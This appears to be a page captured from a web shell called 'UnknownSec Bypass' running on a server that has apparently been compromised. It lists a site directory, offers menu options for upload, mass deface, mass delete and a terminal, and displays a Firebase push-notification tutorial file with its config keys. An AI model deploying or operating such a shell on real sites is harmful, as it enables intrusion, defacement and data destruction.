UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
testapp
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
index1.php
<!DOCTYPE html> <html> <head> <title>Web Push Notification in PHP/MySQL using FCM</title> <!-- <script src="https://www.gstatic.com/firebasejs/10.12.1/firebase.js"></script> --> <!-- <script src="js/jquery-3.2.1.min.js"></script> --> <!-- <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> --> <script src="https://www.gstatic.com/firebasejs/4.3.0/firebase.js"></script> <script src='https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js'></script> <link rel="manifest" href="manifest.json"> <script> // Initialize Firebase /*Update this config*/ var config = { apiKey: "AIzaSyCEEA1suAgDG68D0SlNuRXp0uoBfsOcHC8", authDomain: "pushnote-44e6a.firebaseapp.com", databaseURL: "https://pushnote-44e6a.firebaseio.com", projectId: "pushnote-44e6a", storageBucket: "pushnote-44e6a.appspot.com", messagingSenderId: "962573764305" }; firebase.initializeApp(config); // Retrieve Firebase Messaging object. const messaging = firebase.messaging(); messaging.requestPermission() .then(function() { console.log('Notification permission granted.'); // TODO(developer): Retrieve an Instance ID token for use with FCM. if (isTokenSentToServer()) { console.log('Token already saved.'); } else { getRegToken(); } }) .catch(function(err) { console.log('Unable to get permission to notify.', err); }); function getRegToken(argument) { messaging.getToken() .then(function(currentToken) { if (currentToken) { saveToken(currentToken); console.log(currentToken); setTokenSentToServer(true); } else { console.log('No Instance ID token available. Request permission to generate one.'); setTokenSentToServer(false); } }) .catch(function(err) { console.log('An error occurred while retrieving token. ', err); setTokenSentToServer(false); }); } function setTokenSentToServer(sent) { window.localStorage.setItem('sentToServer', sent ? 1 : 0); } function isTokenSentToServer() { return window.localStorage.getItem('sentToServer') == 1; } function saveToken(currentToken) { $.ajax({ url: 'action.php', method: 'post', data: 'token=' + currentToken }).done(function(result) { console.log(result); }) } messaging.onMessage(function(payload) { console.log("Message received. ", payload); notificationTitle = payload.data.title; notificationOptions = { body: payload.data.body, icon: payload.data.icon, image: payload.data.image }; var notification = new Notification(notificationTitle, notificationOptions); }); </script> </head> <body> <center> <h1>FCM Web Push Notification in PHP/MySQL from localhost</h1> <h2>Part 5: Send and Receive Push Notifications in background</h2> </center> </body>
Copyright © 2025 - UnknownSec